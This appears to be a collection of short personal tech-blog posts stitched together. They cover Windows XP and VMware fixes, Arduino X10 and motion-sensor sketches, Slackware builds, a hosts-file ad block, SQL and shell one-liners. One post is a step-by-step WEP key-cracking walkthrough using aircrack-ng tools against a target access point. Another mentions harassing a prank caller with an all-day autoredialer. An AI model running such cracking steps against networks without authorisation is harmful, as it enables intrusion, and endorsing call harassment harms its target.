i found the repair to be sufficient moving from amd to intel, but left me with a BSOD when going from intel to amd.

well like most microsoft problems, this error has a bajillion reasons as to why and finding pertinent information was difficult. i finally stumbled across this microsoft kb artice (http://support.microsoft.com/kb/953356) which instructed that when the repair cd was created via an image that was intel-based, it needs to have a registry key disabled in order to boot on amd.

fortunately, since even safe mode is not accessible during a half-complete repair, the kb article even documented how to disable the feature via the recovery console of an install cd

i cite the kb article here:

To work around this issue, run the recovery console by using the Windows XP CD. Then, select the recovery option. To run the Recovery Console from the Windows XP startup disk or from the Windows XP CD, follow these steps:

1. Insert the Windows XP startup disk in the floppy disk drive. Or, insert the Windows XP CD in the CD drive. Then, restart the computer.

   Note If you are prompted, click to select any options that are required to start the computer from the CD drive.

2. When the “Welcome to Setup” screen appears, press R to start the Recovery Console.
3. If you have a dual-boot computer or a multiple-boot computer, select the installation that you want to access from the Recovery Console.
4. When you are prompted, type the administrator password.

   Note Press ENTER if the administrator password is blank.

5. At the Recovery Console command prompt, type the following command, and then press ENTER:
   disable intelppm
6. To exit the Recovery Console and to restart the computer, type exit at the Recovery Console command prompt, and then press ENTER.

it was easy enough to fix by removing the folder located at:

/var/lib/vmware/Virtual\ Machines/{vm-name}/{vm-disk-file-name}.vmdk.lock/

for me the command was:

# rm -vfr /var/lib/vmware/Virtual\ Machines/nataile/natalie-hardDisk1.vmdk.lock/

# mount - a -o remount

ls *.tar.gz | xargs -t -I {} tar -zxvf  {}

*note: after the -t it is a -I as in -(capital)i

substitute your flavors at -zxvf and adjust file list at the ls command before the pipe

apparently the new kernel (2.6.33) no longer generates a file named /usr/src/`uname -r`/linux/autoconf.h and instead generates one named /usr/src/`uname -r`/generated/autoconf.h –> what this means to compiling from source is that all references to the linux/autoconf.h must be redirected to generated/autoconf.h

trust me that this is a major headache that isn’t very well documented yet

where +5=older than 5 days

#include <LiquidCrystal.h>
// initialize the library with the numbers of the interface pins
LiquidCrystal lcd(2, 3, 4, 5, 6, 7);
/*
brb 20091121
control 2 x10 devices (4 &2) via momentary switches on pins 10
and 12. x10 interface on pins 8 and 9 and a 16×2 lcd on 2, 3,
4, 5, 6, & 7. messages will be printed to the serial console and
to the lcd screen

hold down both buttons to shut all units off

*/
#include <x10.h>
#include <x10constants.h>

#define zcPin 8
#define dataPin 9

const int buttonPin2 = 10;
const int buttonPin = 12;     // the number of the pushbutton pin
const int ledPin =  13;      // the number of the LED pin
int buttonState = 0;
int buttonState2 = 0;         // variable for reading the pushbutton status
int buttoncount = 0;
int buttoncount2 = 0;
int resetcounterflag = 0;

// set up a new x10 instance:
x10 myHouse =  x10(zcPin, dataPin);

void setup() {
Serial.begin(9600);
// set up the LCD’s number of rows and columns:
lcd.begin(16, 2);
// Print a message to the LCD.
lcd.print(”poweredByCoffee”);
// initialize the LED pin as an output:
pinMode(ledPin, OUTPUT);
// initialize the pushbutton pin as an input:
pinMode(buttonPin, INPUT);
pinMode(buttonPin2, INPUT);
}

void loop() {
buttonState = digitalRead(buttonPin);
buttonState2 = digitalRead(buttonPin2);
// check if the pushbutton is pressed.
// if it is, the buttonState is HIGH:
if (buttonState == HIGH) {
delay(100);
if (buttonState2 == HIGH){
allUnitsOff();
}
else if (buttoncount == 0) {
digitalWrite(ledPin, LOW);
lcd.setCursor(0, 0);
// print the light status:
lcd.print(”Desk OFF  “);
Serial.println(”Desk Light off:”);
// send a “lights off” command to workbench light 1 time:
myHouse.write(A, UNIT_4, 1);
myHouse.write(A, OFF, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
}
buttoncount++;
delay(200);
if (resetcounterflag == 1){
resetcounterflag = 0;
buttoncount=0;
buttoncount2=0;
}
}
if(buttoncount == 2){
digitalWrite(ledPin, HIGH);
buttoncount=0;
lcd.setCursor(0, 0);
// print the light status:
lcd.print(”Desk ON   “);
Serial.println(”Desk Light on:”);
// send a “lights on” command to workbench light 1 time:
myHouse.write(A, UNIT_4, 1);
myHouse.write(A, ON, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
delay(200);
}
if (buttonState2 == HIGH) {
delay(100);
if (buttonState == HIGH){
allUnitsOff();
}
else if (buttoncount2 == 0) {
digitalWrite(ledPin, LOW);
lcd.setCursor(0, 0);
// print the light status:
lcd.print(”LR OFF     “);
Serial.println(”Living Room off:”);
// send a “lights off” command to workbench light 1 time:
myHouse.write(A, UNIT_2, 1);
myHouse.write(A, OFF, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
}
buttoncount2++;
delay(200);
if (resetcounterflag == 1){
resetcounterflag = 0;
buttoncount=0;
buttoncount2=0;
}
}
if(buttoncount2 == 2){
digitalWrite(ledPin, HIGH);
buttoncount2=0;
lcd.setCursor(0, 0);
// print the light status:
lcd.print(”LR ON      “);
Serial.println(”Living Room on:”);
// send a “lights on” command to workbench light 1 time:
myHouse.write(A, UNIT_2, 1);
myHouse.write(A, ON, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
delay(200);
}
//do nothing
lcd.setCursor(0, 1);
lcd.print(”  benduino x10″);
}

void allUnitsOff() {
digitalWrite(ledPin, LOW);
lcd.setCursor(0, 0);
// print the light status:
lcd.print(”ALL UNITS OFF”);
Serial.println(”All Units off:”);
// send a “lights off” command to workbench light 1 time:
myHouse.write(A, ALL_UNITS_OFF, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
resetcounterflag=1;
delay(100);
return;
}

scan for available networks using card that can do injection
# iwlist wlan0 scan
start airmon-ng on the appropriate channel and interface
# airmon-ng start wlan0 6
do an injection test for good measure
# aireplay-ng -9 wlan0
do an injection test against target network
# aireplay-ng -9 -e {ssid here} -a {mac of ap here} wlan0
start the airodump *needs dedicated terminal or backgrounding of process
# airodump-ng -c 6 –bssid {mac of ap here} -w output wlan0
begin probe *needs dedicated terminal or backgrounding of process
# aireplay-ng -1 6 -e {essid here} -a {mac of ap here} -h {mac of associated client or own mac} wlan0
begin injection *needs dedicated terminal or backgrounding of process
# aireplay-ng -3 -b {mac of ap here} -h {mac of associated client or own mac} wlan0
begin cracking *needs dedicated terminal or backgrounding of process
# aircrack-ng -z -b {mac of ap here} output*.cap

just let those things run until it gives you the key

moral of the story: never use WEP

my phone number was even listed as having been called in the last 21 days and would not let me recall it.

i called our office and that prank call was definitely it. the voice was the same and the interactions possible are the same.  all thats left now is finding the person who did it and pranking them my way: i.e. asterisk autoredialer for 24 hours.

/*
motion detection code for parallax module from radio shack
**20091015 brb**
basic motion/infrared detection software
**20091015 brb**
add similtaneous green led blinks during motion poll

parts:

3 leds (2 green, 1 red)

1 parallax PIR sensor

on detection of any motion, binary signal on digital pin 8
changes, which causes led on digital pin 5 to light

while motion is not being detected, blink the pins leds on
digital pins 6 and 11. this pause is accomplished by
incrementing a loop timer from 100 to 200 and then reseting
it to zero every 100 intervals (currently 10 miliseconds).
every whole second the led pins alternate being on and off

i reccomend setting the motion detection to H output using
the jumpers on its board; this will make it continuously
trigger the event on constant motion

*/
int ledPin = 5;
int ledPinG1 = 6;
int ledPinG2 = 11;
int modectPin = 8;
int pinin = 0;
int counter = 100;

void setup()
{
pinMode(ledPin, OUTPUT);
pinMode(ledPinG1, OUTPUT);
pinMode(ledPinG2, OUTPUT);
pinMode(modectPin, INPUT);
}

void loop()
{
pinin = digitalRead(modectPin);
while (pinin == 0) {
digitalWrite(ledPin, LOW);
counter = counter + 1;
if(counter == 100){
digitalWrite(ledPinG2, HIGH);
digitalWrite(ledPinG1, LOW);
}
if(counter == 200){
digitalWrite(ledPinG2, LOW);
digitalWrite(ledPinG1, HIGH);
counter = 0;
}
delay(10);
pinin = digitalRead(modectPin);
}
digitalWrite(ledPinG2, LOW);
digitalWrite(ledPinG1, LOW);
digitalWrite(ledPin, HIGH);
}

# slackpkg install jdk

# cd /usr/local/src

# wget http://archive.apache.org/dist/ant/source/apache-ant-1.6.5-src.tar.gz

# tar zxvf apache-ant-1.6.5-src.tar.gz

# cd apache-ant-1.6.5

#./build.sh

# cd ..

# wget http://apache.siamwebhosting.com/xmlgraphics/fop/source/fop-0.95-src.tar.gz

# tar zxvf fop-0.95-src.tar.gz

# cd fop-0.95

# /usr/local/src/apache-ant-1.6.5/dist/bin/ant

now you have a 64 bit fop…or you can download it here:

drunkensailor.org/software/fop-0.95-slackware64.tar.gz

i have my ant available here:

drunkensailor.org/software/ant-1.6.5-slackware64.tar.gz

*both of these are just meant to be unpacked where you want to run them from and require some funky or full paths. feel free to make a real slackware package and i’ll host it, but for now it’s just compiled binaries alongside the source.

**the ant package is not the most current version of ant(1.7.something) because it required JUnit.jar which i dont have or plan on having (not part of the official slackware jdk)

127.0.0.1       www.google-analytics.com google-analytics.com ssl.google-analytics.com analytics.google.com googleanalytics.com
127.0.0.1       flash.quantserve.com quantserve.com ads.hulu.com lightningcast.net stats5.lightningcast.net stats6.lightningcast.net stats7.lightningcast.net
pt.reward.tv pixel.quantserve.com

all that being said it does seem to work and be downloaded from here: slacklite-mirror-0.2.tar.gz

(select * from Seasons where id=5) union
(select * from Seasons where id<>5 order by id desc);

but i had to use this:

SELECT * FROM
(SELECT * FROM Seasons
WHERE id=5
ORDER BY id DESC) AS t1

UNION

SELECT * FROM
(SELECT * FROM Seasons
WHERE id<>5
ORDER BY id desc) AS t2

step two: klogd > /thetoilet  2>&1

this is how you can clog the toilet with 2s and 1s

incredibly amusing: http://en.wikiquote.org/wiki/Daniel_J._Bernstein

incredibly surprising: http://blogs.zdnet.com/security/?p=2812

by design will remove files dated 2008-11-07 from slackware’s ls -al …probably would be wise to trial run it by changing the xargs to an echo first ;-)

#ls -altrh |grep ‘2008-11-07′ |awk {’print $8′} |xargs rm -rfv